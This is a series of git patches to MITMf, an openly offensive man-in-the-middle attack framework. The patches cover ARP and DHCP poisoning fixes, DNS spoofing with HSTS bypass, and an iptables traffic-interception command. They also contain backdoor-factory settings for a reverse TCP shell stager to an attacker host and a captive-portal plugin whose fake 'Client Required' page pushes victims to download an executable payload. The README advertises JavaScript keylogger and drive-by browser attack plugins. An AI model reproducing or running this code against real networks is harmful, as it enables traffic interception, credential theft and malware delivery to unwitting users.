[PATCH 17/50] DNS server now outputs all queries to seperate log file Fixed a bug where the SSLStrip proxy wouldn't allow caching if the AppCache poison plugin is enabled HTTP and SMB servers now listen on all interfaces --- core/servers/DNS.py | 12 ++++++++++++ core/servers/HTTP.py | 10 +++++----- core/servers/SMB.py | 12 ++++++------ logs/.gitignore | 2 +- logs/{dnschef => dns}/.gitignore | 0 plugins/appcachepoison.py | 1 + 6 files changed, 25 insertions(+), 12 deletions(-) rename logs/{dnschef => dns}/.gitignore (100%) diff --git a/core/servers/DNS.py b/core/servers/DNS.py index 383a57c..35e592c 100755 --- a/core/servers/DNS.py +++ b/core/servers/DNS.py @@ -48,6 +48,12 @@ from IPy import IP formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("DNSChef", formatter) +dnslog = logging.getLogger('dnslog') +handler = logging.FileHandler('./logs/dns/dns.log',) +handler.setFormatter(formatter) +dnslog.addHandler(handler) +dnslog.setLevel(logging.INFO) + # DNSHandler Mixin. The class contains generic functions to parse DNS requests and # calculate an appropriate response based on user parameters. class DNSHandler(): @@ -69,6 +75,7 @@ class DNSHandler(): except Exception as e: log.info("Error: invalid DNS request", extra=clientip) + dnslog.info("Error: invalid DNS request", extra=clientip) else: # Only Process DNS Queries @@ -113,6 +120,7 @@ class DNSHandler(): response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip) + dnslog.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -182,6 +190,7 @@ class DNSHandler(): elif qtype == "*" and not None in fake_records.values(): log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip) + dnslog.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -257,6 +266,7 @@ class DNSHandler(): # Proxy the request else: log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip) + dnslog.info("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,6 +349,7 @@ class DNSHandler(): except Exception as e: log.warning("Could not proxy request: {}".format(e), extra=clientip) + dnslog.info("Could not proxy request: {}".format(e), extra=clientip) else: return reply @@ -346,6 +357,7 @@ class DNSHandler(): clientip = {'clientip': self.client_address[0]} log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) + dnslog.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index 82296eb..75d0c1d 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -49,10 +49,10 @@ class HTTP: def start(self): try: - if OsInterfaceIsSupported(): - server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) - else: - server = ThreadingTCPServer(('', 80), HTTP1) + #if OsInterfaceIsSupported(): + #server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) + #else: + server = ThreadingTCPServer(('0.0.0.0', 80), HTTP1) t = threading.Thread(name='HTTP', target=server.serve_forever) t.setDaemon(True) @@ -267,7 +267,7 @@ def PacketSequence(data, client): else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - log.info("{} [HTTP] Sending NTLM authentication request to".format(client)) + log.info("{} [HTTP] Sending NTLM authentication request".format(client)) return str(Response) diff --git a/core/servers/SMB.py b/core/servers/SMB.py index 198ba4d..cac8027 100644 --- a/core/servers/SMB.py +++ b/core/servers/SMB.py @@ -28,12 +28,12 @@ class SMB: def start(self): try: - if OsInterfaceIsSupported(): - server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) - server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) - else: - server1 = ThreadingTCPServer(('', 445), SMB1) - server2 = ThreadingTCPServer(('', 139), SMB1) + #if OsInterfaceIsSupported(): + # server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) + # server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) + #else: + server1 = ThreadingTCPServer(('0.0.0.0', 445), SMB1) + server2 = ThreadingTCPServer(('0.0.0.0', 139), SMB1) for server in [server1, server2]: t = threading.Thread(name='SMB', target=server.serve_forever) diff --git a/logs/.gitignore b/logs/.gitignore index cf7c24d..364db4d 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -1,5 +1,5 @@ * !.gitignore !responder/ -!dnschef/ +!dns/ !ferret-ng/ diff --git a/logs/dnschef/.gitignore b/logs/dns/.gitignore similarity index 100% rename from logs/dnschef/.gitignore rename to logs/dns/.gitignore diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index c456db2..a4c7eb7 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -36,6 +36,7 @@ class AppCachePlugin(Plugin): from core.sslstrip.URLMonitor import URLMonitor self.urlMonitor = URLMonitor.getInstance() + self.urlMonitor.caching = True self.urlMonitor.setAppCachePoisoning() def response(self, response, request, data): From d1df76c601e4ac41718fe3e5d8b7bcb564b6a4c7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 13:14:12 +0200 Subject: [PATCH 18/50] fixes #188 --- core/poisoners/DHCP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/poisoners/DHCP.py b/core/poisoners/DHCP.py index cd6ff20..b46cf54 100644 --- a/core/poisoners/DHCP.py +++ b/core/poisoners/DHCP.py @@ -79,7 +79,7 @@ class DHCPpoisoner(): return 'stored', client_ip net = IPNetwork(self.ip_address + '/24') - return 'generated', random.choice(list(net)) + return 'generated', str(random.choice(list(net))) def dhcp_callback(self, resp): if resp.haslayer(DHCP): From 5b7967f02d6d2788ddfc5e1590bd8ed1373d5a11 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 13:28:24 +0200 Subject: [PATCH 19/50] removed setup.sh --- setup.sh | 3 --- 1 file changed, 3 deletions(-) delete mode 100755 setup.sh diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 3c8052a..0000000 --- a/setup.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive \ No newline at end of file From 16b774248dfda2c024e76f0c0107f24cf93aa493 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 13:52:32 +0200 Subject: [PATCH 20/50] updated bdfactory to latest commit --- config/mitmf.conf | 2 +- libs/bdfactory | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 6832dce..e9244cf 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -503,7 +503,7 @@ LinuxType = None WindowsType = ALL CompressedFiles = False - #inherits WindowsIntelx32 from ALL + #inherits WindowsIntelx86 from ALL [[[[WindowsIntelx86]]]] PATCH_DLL = False ZERO_CERT = True diff --git a/libs/bdfactory b/libs/bdfactory index dadf1d2..d2f3521 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit dadf1d21bfcb9c8ebefc7891bd95b9452b2af8d5 +Subproject commit d2f352139f23ed642fa174211eddefb95e6a8586 From b04d2e02588afdc726e1bad6d54a3cbff5bdaed4 Mon Sep 17 00:00:00 2001 From: xiao-mou Date: Thu, 10 Sep 2015 17:20:15 +0800 Subject: [PATCH 21/50] bugfix --- core/mitmfapi.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 710ae98..195b8d2 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -75,13 +75,13 @@ class mitmfapi(ConfigWatcher): if status == "1": for p in ProxyPlugins().all_plugins: if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): - ProxyPlugins().addPlugin(p) + ProxyPlugins().add_plugin(p) return json.dumps({"plugin": plugin, "response": "success"}) elif status == "0": for p in ProxyPlugins().plugin_list: if p.name == plugin: - ProxyPlugins().removePlugin(p) + ProxyPlugins().remove_plugin(p) return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "failed"}) @@ -97,4 +97,4 @@ class mitmfapi(ConfigWatcher): def start(self): api_thread = threading.Thread(name='mitmfapi', target=self.startFlask) api_thread.setDaemon(True) - api_thread.start() \ No newline at end of file + api_thread.start() From 589e45b64f0c3d2daada6837903387c0cb586248 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 14 Sep 2015 20:25:06 +0200 Subject: [PATCH 22/50] Fixed IPtables for APF Mode Added a new banner --- config/mitmf.conf | 8 ++++---- core/banners.py | 15 ++++++++++++++- core/beefapi.py | 6 ++++++ core/packetfilter.py | 2 +- core/utils.py | 2 +- 5 files changed, 26 insertions(+), 7 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index e9244cf..77af21c 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -79,7 +79,7 @@ [Replace] [[Regex1]] - 'Google Search' = 'Google yssas' + 'Google Search' = '44CON' [[Regex2]] "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" @@ -89,7 +89,7 @@ # Here you can specify the client to hijack sessions from # - Client = '192.168.1.26' + Client = '10.0.237.91' [SSLstrip+] @@ -445,10 +445,10 @@ PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke PATCH_METHOD = automatic - HOST = 192.168.1.16 + HOST = 192.168.20.79 PORT = 8090 # SHELL for use with automatic PATCH_METHOD - SHELL = iat_reverse_tcp_inline_threaded + SHELL = iat_reverse_tcp_stager_threaded # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload SUPPLIED_SHELLCODE = None ZERO_CERT = True diff --git a/core/banners.py b/core/banners.py index 51438c8..ac88616 100644 --- a/core/banners.py +++ b/core/banners.py @@ -65,6 +65,19 @@ banner4 = """ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ """ +banner5 = """ +@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ +@@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ +@@! @@! @@! @@! @@! @@! @@! @@! @@! +!@! !@! !@! !@! !@! !@! !@! !@! !@! +@!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! +!@! ! !@! !!! !!! !@! ! !@! !!!!!: +!!: !!: !!: !!: !!: !!: !!: +:!: :!: :!: :!: :!: :!: :!: +::: :: :: :: ::: :: :: + : : : : : : : +""" + def get_banner(): - banners = [banner1, banner2, banner3, banner4] + banners = [banner1, banner2, banner3, banner4, banner5] return random.choice(banners) diff --git a/core/beefapi.py b/core/beefapi.py index 7a66797..e427619 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -342,6 +342,12 @@ class Session(object): logs.append(Log(log)) return logs + def update(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/hooks/update/{}?token={}".format(self.url, self.session, self.token), headers=headers, data=payload) + return r.json() + def run(self, module_id, options={}): headers = {"Content-Type": "application/json", "charset": "UTF-8"} payload = json.dumps(options) diff --git a/core/packetfilter.py b/core/packetfilter.py index ba0a962..34519d2 100644 --- a/core/packetfilter.py +++ b/core/packetfilter.py @@ -17,7 +17,7 @@ class PacketFilter: iptables().NFQUEUE() self.nfqueue = NetfilterQueue() - self.nfqueue.bind(1, self.modify) + self.nfqueue.bind(0, self.modify) self.nfqueue.run() diff --git a/core/utils.py b/core/utils.py index c3ae067..7781bad 100644 --- a/core/utils.py +++ b/core/utils.py @@ -98,5 +98,5 @@ class iptables: def NFQUEUE(self): log.debug("Setting iptables NFQUEUE rule") - os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') + os.system('iptables -I FORWARD -j NFQUEUE --queue-num 0') self.nfqueue = True \ No newline at end of file From f7396d631d431d68a644be28c67b1f479b4bbc80 Mon Sep 17 00:00:00 2001 From: xiao-mou Date: Mon, 28 Sep 2015 21:22:10 +0800 Subject: [PATCH 23/50] bugfix --- core/proxyplugins.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/core/proxyplugins.py b/core/proxyplugins.py index 7ea6c54..ff4390e 100644 --- a/core/proxyplugins.py +++ b/core/proxyplugins.py @@ -82,7 +82,10 @@ class ProxyPlugins: self.plugin_list.remove(p) log.debug("Removing {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): - self.plugin_mthds[mthd].remove(p) + try: + self.plugin_mthds[mthd].remove(getattr(p,pmthd)) + except KeyError: + pass #nothing to remove def hook(self): '''Magic to hook various function calls in sslstrip''' From ba280cc64c08c2a250fe40cd6d52dd0bc84b7951 Mon Sep 17 00:00:00 2001 From: orthographic-pedant Date: Wed, 30 Sep 2015 18:51:40 -0400 Subject: [PATCH 24/50] Fixed typographical error, changed arbitary to arbitrary in README. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 37236bc..43f541c 100644 --- a/README.md +++ b/README.md @@ -134,6 +134,6 @@ For a complete list of available options, just run ```python mitmf.py --help``` - **Inject** : Inject arbitrary content into HTML content - **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins - **JSkeylogger** : Injects a Javascript keylogger into a client's webpages -- **Replace** : Replace arbitary content in HTML content +- **Replace** : Replace arbitrary content in HTML content - **SMBAuth** : Evoke SMB challenge-response authentication attempts - **Upsidedownternet** : Flips images 180 degrees From 640f02a8a3cbf461e243e5c017b7021d53d35c1a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 3 Nov 2015 17:57:41 -0700 Subject: [PATCH 25/50] Added imagerandomizer plugin --- plugins/imagerandomizer.py | 57 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 plugins/imagerandomizer.py diff --git a/plugins/imagerandomizer.py b/plugins/imagerandomizer.py new file mode 100644 index 0000000..4060720 --- /dev/null +++ b/plugins/imagerandomizer.py @@ -0,0 +1,57 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import random +import os +from plugins.plugin import Plugin + +class ImageRandomizer(Plugin): + name = "ImageRandomizer" + optname = "imgrand" + desc = 'Replaces images with a random one from a specified directory' + version = "0.1" + + def initialize(self, options): + self.options = options + self.img_dir = options.img_dir + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + img = random.choice(os.listdir(self.options.img_dir)) + with open(os.path.join(self.options.img_dir, img), 'rb') as img_file: + data = img_file.read() + self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo) + return {'response': response, 'request': request, 'data': data} + except Exception as e: + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) + + def options(self, options): + options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images") \ No newline at end of file From 681be498a9c5b0851e44085e0613852743ab6227 Mon Sep 17 00:00:00 2001 From: Oliver Nettinger Date: Thu, 14 Jan 2016 11:03:05 +0100 Subject: [PATCH 26/50] Added captive portal plugin --- README.md | 20 ++++++ config/captive/portal.html | 31 ++++++++ config/mitmf.conf | 9 +++ plugins/captive.py | 142 +++++++++++++++++++++++++++++++++++++ 4 files changed, 202 insertions(+) mode change 100644 => 100755 README.md create mode 100755 config/captive/portal.html mode change 100644 => 100755 config/mitmf.conf create mode 100755 plugins/captive.py diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 43f541c..ec4eb36 --- a/README.md +++ b/README.md @@ -112,6 +112,26 @@ Inject a JS script: ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +Start a captive portal that redirects everything to http://SERVER/PATH: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH``` + +Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive``` + +Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns``` + +Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR``` + +Same as above but with hostname: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns``` + And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) diff --git a/config/captive/portal.html b/config/captive/portal.html new file mode 100755 index 0000000..80b0cac --- /dev/null +++ b/config/captive/portal.html @@ -0,0 +1,31 @@ + + +Captive Portal + + + + +
+
+
Client Required
+
    +
    +
    +
  • Access has been blocked. Please download and install the new Captive Portal Client in order to access internet resources.
  • +
    +
+
+ +
+ + + diff --git a/config/mitmf.conf b/config/mitmf.conf old mode 100644 new mode 100755 index 77af21c..1e78825 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -38,6 +38,7 @@ [[[A]]] # Queries for IPv4 address records *.thesprawl.org=192.168.178.27 + *.captive.portal=192.168.1.100 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -75,6 +76,14 @@ # # Plugin configuration starts here # +[Captive] + + # Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server) + Port = 8080 + ServerString = "Captive Server 1.0" + + # Set the filename served as /CaptivePortal.exe by integrated http server + PayloadFilename = config/captive/calc.exe [Replace] diff --git a/plugins/captive.py b/plugins/captive.py new file mode 100755 index 0000000..c8ddfb9 --- /dev/null +++ b/plugins/captive.py @@ -0,0 +1,142 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from urlparse import urlparse + + +class Captive(Plugin): + name = "Captive Portal" + optname = "captive" + tree_info = ["Captive Portal online"] + desc = "Be a captive portal!" + version = "0.1" + + def initialize(self, options): + self.options = options + + from core.utils import shutdown + + if options.portalurl: + self.portalurl = options.portalurl + else: + # self.options.ip is prefilled earlier + self.hostname = 'captive.portal' if self.options.usedns else self.options.ip + + if options.portaldir: + self.serve_dir(options.portaldir) + else: + self.serve_portal() + + def response(self, response, request, data): + + if urlparse(self.portalurl).hostname not in request.headers['host']: + self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo) + response.headers = {} + data = ''' + +

Please click here if you are not redirected automatically

+ + '''.format(self.portalurl) + response.redirect(self.portalurl) + + return {'response': response, 'request':request, 'data': data} + + def options(self, options): + options.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + options.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') + + def on_shutdown(self): + '''This will be called when shutting down''' + pass + + def serve_portal(self): + + self.portalurl = 'http://{}/portal.html'.format(self.hostname) + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') + HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) + self.tree_info.append("Portal login served by built-in HTTP server.") + + + def serve_dir(self, dir): + import threading + import posixpath + import urllib + import os + from SimpleHTTPServer import SimpleHTTPRequestHandler + from BaseHTTPServer import HTTPServer as ServerClass + Protocol = "HTTP/1.0" + port = self.config['Captive']['Port'] + ServerString = self.config['Captive']['ServerString'] + + self.portalurl = "http://{}:{}/".format(self.hostname, port) + + ROUTES = (['', dir],) + class HandlerClass(SimpleHTTPRequestHandler): + '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779''' + + def translate_path(self, path): + '''translate path given routes''' + + # set default root to cwd + root = os.getcwd() + + # look up routes and set root directory accordingly + for pattern, rootdir in ROUTES: + if path.startswith(pattern): + # found match! + path = path[len(pattern):] # consume path up to pattern len + root = rootdir + break + + # normalize path and prepend root directory + path = path.split('?',1)[0] + path = path.split('#',1)[0] + path = posixpath.normpath(urllib.unquote(path)) + words = path.split('/') + words = filter(None, words) + + path = root + for word in words: + drive, word = os.path.splitdrive(word) + head, word = os.path.split(word) + if word in (os.curdir, os.pardir): + continue + path = os.path.join(path, word) + + return path + + + server_address = ('0.0.0.0', int(port)) + HandlerClass.protocol_version = Protocol + HandlerClass.server_version = ServerString + + httpd = ServerClass(server_address, HandlerClass) + ServerClass.path = dir + + sa = httpd.socket.getsockname() + try: + t = threading.Thread(name='PortalServer', target=httpd.serve_forever) + t.setDaemon(True) + t.start() + self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir)) + except Exception as e: + shutdown("Failed to start Portal Server") From 822b87e77c16277b1b373ab6680e460c18aea01d Mon Sep 17 00:00:00 2001 From: Oliver Nettinger Date: Tue, 19 Jan 2016 07:40:41 +0100 Subject: [PATCH 27/50] Captive Portal related changes Made options exclusive Added OSX files to .gitignore Update README with plugin --- .gitignore | 4 ++++ README.md | 1 + plugins/captive.py | 13 ++++++++++--- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 0860090..acdb2f6 100644 --- a/.gitignore +++ b/.gitignore @@ -57,3 +57,7 @@ docs/_build/ # PyBuilder target/ + +# OSX Stuff +.DS_Store +._.DS_Store diff --git a/README.md b/README.md index ec4eb36..8d5d85e 100755 --- a/README.md +++ b/README.md @@ -157,3 +157,4 @@ For a complete list of available options, just run ```python mitmf.py --help``` - **Replace** : Replace arbitrary content in HTML content - **SMBAuth** : Evoke SMB challenge-response authentication attempts - **Upsidedownternet** : Flips images 180 degrees +- **Captive** : Creates a captive portal, redirecting HTTP requests using 302 diff --git a/plugins/captive.py b/plugins/captive.py index c8ddfb9..7bbaa94 100755 --- a/plugins/captive.py +++ b/plugins/captive.py @@ -1,4 +1,4 @@ -# Copyright (c) 2014-2016 Marcello Salvati +# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -16,6 +16,9 @@ # USA # +# note: portal.html has been adapted from +# config/responder/AccessDenied.html for now + from plugins.plugin import Plugin from urlparse import urlparse @@ -58,8 +61,12 @@ class Captive(Plugin): return {'response': response, 'request':request, 'data': data} def options(self, options): - options.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') - options.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + ''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or + start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) ''' + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') def on_shutdown(self): From 2490b87f4378e0f57b1764ce5eaf2f63b5d4210b Mon Sep 17 00:00:00 2001 From: HAMIDx9 Date: Thu, 28 Jan 2016 22:03:07 +0330 Subject: [PATCH 28/50] Fix printer format to print logs and avoid netcreds shutting down --- core/netcreds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/netcreds.py b/core/netcreds.py index f4b4723..9e8be01 100644 --- a/core/netcreds.py +++ b/core/netcreds.py @@ -916,7 +916,7 @@ def get_login_pass(body): def printer(src_ip_port, dst_ip_port, msg): if dst_ip_port != None: - print_str = '[{} > {}] {}'.format((src_ip_port, dst_ip_port, msg)) + print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not log.info("{}".format(print_str)) From f8293c38c946372fb488914df19264635fae3ee1 Mon Sep 17 00:00:00 2001 From: HAMIDx9 Date: Fri, 29 Jan 2016 01:42:54 +0330 Subject: [PATCH 29/50] Fix returning data, check mime to avoid heavy chardet process we are not interested in other mimes. --- plugins/inject.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/plugins/inject.py b/plugins/inject.py index 27bda03..bc7ca9c 100644 --- a/plugins/inject.py +++ b/plugins/inject.py @@ -64,7 +64,10 @@ class Inject(Plugin): try: mime = response.headers['Content-Type'] except KeyError: - return + return {'response': response, 'request':request, 'data': data} + + if "text/html" not in mime: + return {'response': response, 'request':request, 'data': data} if "charset" in mime: match = re.search('charset=(.*)', mime) From 96e0b5f0e0bb7e640116cac7591d37a79b3b58f4 Mon Sep 17 00:00:00 2001 From: HAMIDx9 Date: Fri, 29 Jan 2016 01:43:45 +0330 Subject: [PATCH 30/50] Fix #230 HSTS bypass DNS problem when timeout occures --- core/servers/DNS.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/servers/DNS.py b/core/servers/DNS.py index 35e592c..0599e7b 100755 --- a/core/servers/DNS.py +++ b/core/servers/DNS.py @@ -366,7 +366,8 @@ class DNSHandler(): #First proxy the request with the real domain q = DNSRecord.question(real_domain).pack() r = self.proxyrequest(q, *nameserver_tuple) - + if r is None: return None + #Parse the answer dns_rr = DNSRecord.parse(r).rr From d59b282fb9b988ba28087a35cc64b9eb3baa44d1 Mon Sep 17 00:00:00 2001 From: oscar1 Date: Sun, 6 Mar 2016 15:48:40 +0100 Subject: [PATCH 31/50] Update ARP.py small change to fix the "half duplex" issue. First; without the fix I don't receive any packets from the remote host to the target. I only received packets from the target to the remote host. Second; the original code wasn't "symmetric". Tested on kali2 with a linksys WRT54GL router on WiFI. Compared the ARP packets to those produced by ettercap, which was working correctly on my system. Including the fix resembles the ettercap method. It also works correctly when the arguments to the Ether() constructor are removed altogether. Note that the problem occurs when not using any modules at all, only a simple filter and the spoofplugin. The problem may also be routerspecific, I dont know. --- core/poisoners/ARP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/poisoners/ARP.py b/core/poisoners/ARP.py index d347566..a70af0f 100644 --- a/core/poisoners/ARP.py +++ b/core/poisoners/ARP.py @@ -215,7 +215,7 @@ class ARPpoisoner: try: #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) - self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) + self.s2.send(Ether(src=self.mymac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) From 2dc1dd4f1260c34d168d25c0b387980ca3a2b247 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 8 Jun 2016 23:39:58 -0600 Subject: [PATCH 32/50] Hold on to your butts cause here we go. This should resolve: * Issue #307 * Issue #309 * Issue #302 * Issue #294 Apperently, Twisted made some fairly heavy API changes in their 16.x release which kinda fucked all the plugins up. --- plugins/filepwn.py | 10 +++++----- plugins/imagerandomizer.py | 2 +- plugins/inject.py | 6 +++--- plugins/replace.py | 2 +- plugins/smbtrap.py | 4 